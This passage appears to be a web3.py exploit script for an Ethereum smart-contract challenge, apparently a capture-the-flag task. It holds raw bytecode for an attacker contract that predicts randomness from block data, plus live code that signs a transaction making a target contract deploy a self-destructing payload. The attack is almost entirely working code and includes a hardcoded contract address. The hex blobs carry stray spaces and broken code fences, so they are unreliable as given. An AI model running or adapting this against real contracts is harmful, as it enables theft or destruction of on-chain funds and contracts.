565b6105b18185610728565b93506105c18185602086016107a0565b6105ca816108a8565b840191505092 9
15050565b60006105e08261071d565b6105ea8185610739565b93506105fa8185602086016107a0565b8084
0191505092915050565b600061061360098361074456 5b915061061e826108b9565b6020820190509190505
65b61063281610787565b82525050565b600061064482846105d5565b91508190509291505056 5b60006020
820190506106646000830184610 58d565b92915050565b6000602082019050818103600083015261068481 8
461059c565b905092915050565b600060208201905081810360008301526106a581610606565b9050919050
565b60006020820190506106c16000830184610629565b92915050565b60006106d16106e2565b90506106d
d8282610805565b919050565b6000604051905090565b600067ffffffffffffffff82111561070757610706
610865565b5b610710826108a8565b9050602081019050919050565b600081519050919050565b600082825
260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600061
07608261076756 5b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919
050565b6000819050919050565b82818337600083830152505050565b60005b838110156107be5780820151
818401526020810190506107a3565b838111156107cd576000848401525b50505050565b600060028204905
060018216806107eb57607f821691505b60208210811415 6107ff576107fe610836565b5b50919050565b61
080e826108a8565b810181811067ffffffffffffffff8211171561082d5761082c610865565b5b806040525
05050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260
045260246000fd5b7f4e487b710000000000000000000000000000000000000000000000000000000060005
2604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050
919050565b7f63616c6c206661696c000000000000000000000000000000000000000000000060008201525
0565b6108eb81610787565b81146108f657600080fd5b5056fe608060405234801562000011576000 80fd5b
50600033905060008173ffffffffffffffffffffffffffffffffffffffff166331d19166604051 8163fffff
fff1660e01b815260040160006040518083038186803b1580156200006057600080fd5b505afa1580156200
0075573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019
0620000a091906200055f565b90506000827 3ffffffffffffffffffffffffffffffffffffffff1663affed0
e06040518163ffffffff1660e01b81526004016020604051808303818680 3b158015620000eb57600080fd5
b505afa1580156200010057 3d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052
50810190620001269190620005b0565b905060008373ffffffffffffffffffffffffffffffffffffffff166
3146ca5316040518163ffffffff1660e01b815260040160206040518083038186803b158015620001715760
0080fd5b505afa15801562000186573d6000803e3d6000fd5b505050506040513d601f19601f82011682018
06040525081019062 0001ac9190620005b0565b9050620001c08282620001c860201b60201c565b82516020
8401f35b60007321ac0df70a628cdb042dde6f4eb6cf49bde00ff79050600081 73fffffffffffffffffffff
fffffffffffffffffff166327e235e3306040518263ffffffff1660e01b81526004016200021e9190620006
a1565b602060405180830381600087803b15801562000239576000 80fd5b505af11580156200024e573d600
0803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000274919062 0005b0
```

```
565b905060007feb8f8e6e6aec6c492f2d95e709ac2e3d0583d00beb28f62e0b1b014d4a7398f2826040516
20002a99190620006be565b60405180910390a160008414156200031e578273ffffffffffffffffffffffff
ffffffffffffffff16633884d6356040518163ffffffff1660e01b815260040160006040518083038160008
7803b1580156200030457600080fd5b505af1158015620003195 73d6000803e3d6000fd5b505050505b6200
032f856200047660201b60201c565b90508273ffffffffffffffffffffffffffffffffffffffff16636ffcc
71982600c6040518363ffffffff1660e01b81526004016200036f929190620006db565b6000604051808303
81600087803b1580156200038a57600080fd5b505af115801562000039f573d6000803e3d6000fd5b5050505
08273ffffffffffffffffffffffffffffffffffffffff166327e235e3306040518263ffffffff1660e01b81
52600401620003de9190620006a1565b60206040518083038160008780 3b15801562000 3f957600080fd5b5
05af115801562000040e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250
81019062000434919062000 5b0565b91507feb8f8e6e6aec6c492f2d95e709ac2e3d0583d00beb28f62e0b1
b014d4a7398f282604051620004679190620006be565b60405180910390a15050505050565b600080600c90
506000818442443060405160200162000499949392919062000 64b565b6040516020818303038152906040 5
28051906020012060001c620004be919062000857565b9050809250505091905056 5b6000620004e1620004
db8462000731565b62000708565b905082815260208101848484011115620005005762000 4ff620008f2565
b5b6200050d848285620007b9565b5093925050505 65b600082601f830112620005 2d576200052c620008ed
565b5b81516200053f848260208601620004ca565b91505092915050565b600081519050620005598162000
91f565b92915050565b600060208284031215620005785762000577620008fc565b5b600082015167ffffff
ffffffffff811115620005995762000598620008f7565b5b620005a78482850162000515565b91505092915
050565b600060208284031215620005c957620005c8620008fc565b5b6000620005d98482850162000548 56
5b91505092915050565b620005ed8162000767565b82525050565b62000608620006028262000767 565b620
00825565b82525050565b6200061981620007a5565b82525050565b6200062a816200079b565b825250505 6
5b620006456200063f826200079b565b6200084d565b82525050565b600062000659828762000630565b602
08201915062000 66b828662000630565b602082019150620006 7d828562000630565b602082019150620006
8f8284620005f3565b601482019150819050959450505050505 65b600060208201905062000 6b8600083018
4620005e2565b92915050565b600060208201905062000 6d56000830184620006 1f565b92915050565b6000
604082019050620006f2600083018562000 61f565b62000701602083018462000 60e565b9392505050565b6
00062000714620007 27565b905062000722828262000 7ef565b919050565b6000604051905090565b600067
ffffffffffffffff8211156200074f576200074e620008be565b5b6200075a8262000901565b90506020810
19050919050565b6000620007748262000 77b565b9050919050565b600073ffffffffffffffffffffffffff
ffffffffffffff82169050919050565b6000819050919050565b6000620007b2826200079b565b905091905
0565b60005b83811015620007d957808201518184015260208101905062000 7bc565b83811115620007e957
6000848401525b50505050565b620007fa8262000901565b810181811067ffffffffffffffff82111715620
0081c576200081b620008be565b5b80604052505050 565b6000620008328262000839565b9050919050565b
600062000846826200091 2565b9050919050565b60008190509190505 65b6000620008648262000 79b565b9
15062000871836200079b565b925082620008845762000883620008 8f565b5b828206905092915050565b7f
4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000
0fd5b7f4e487b71000000000000000000000000000000000000000000000000000000006000526041600452
60246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b6
0008160601b9050919050565b6200092a816200079b565b81146200093657600080fd5b5056fea264697066
73582212208ec6dedf669c3552be939ce0ee67cff145fd9715c53ebb3d3f818035d3c3d10f64736f6c63430
008070033

# # deploy
# newContract = w3.eth.contract(bytecode=bytecode, abi=abi)
# tx = newContract.constructor().buildTransaction()
# print(tx["data"])

# def transact(tx):
```

```
#     tx["chainId"] = w3.eth.chain_id
#     signed_tx = my_account.sign_transaction(tx).rawTransaction
#     txid = w3.eth.send_raw_transaction(signed_tx)
#     print(txid.hex())

# transact(
#     {
#         "value": 0,
#         "nonce": w3.eth.get_transaction_count(my_account.address),
#         "gas": 3000000,
#         "from": my_account.address,
#         "gasPrice": 1,
#         "data": tx["data"],
#     },
# )

# call
contract_addr = "0x135dc4190E10F4E4C656dCb57C4F07e2fa3561e1"
contract = w3.eth.contract(address=contract_addr,abi=abi)
another_bytecode =
"0x6080604052348015600f57600080fd5b5060043610602857600035 60e01c806383197ef014602d575b60
0080fd5b60336035565b005b7ff7868bd2e9c7123cbb038694bc46968b16a57633e7bbf7f41db735f4d1321
1f360405160609060a1565b60405180910390a1600073ffffffffffffffffffffffffffffffffffffffff16
ff5b6000608d600c8360bf565b915060968260d0565b602082019050919050565b600060208201905081810
360008301526 0b8816082565b9050919050565b60008282526020820190509291505 0565b7f73656c666465
7374727563740000000000000000000000000000000000000000000060008201525056fea264697066735822122
0a740aaeb1a77f57fbd7617ed7e0085876cdf16276b8e13d9743abce1116d8d1964736f6c63430008070033
"
tx = contract.functions.deploy(another_bytecode,0x103,1).buildTransaction()
print(tx["data"])
def transact(tx):
    tx["chainId"] = w3.eth.chain_id
    signed_tx = my_account.sign_transaction(tx).rawTransaction
    txid = w3.eth.send_raw_transaction(signed_tx)
    print(txid.hex())
transact(
    {
        "value": 0,
        "nonce": w3.eth.get_transaction_count(my_account.address),
        "gas": 3000000,
        "from": my_account.address,
        "to": contract_addr,
        "gasPrice": 1,
        "data": tx["data"],
    },
)
```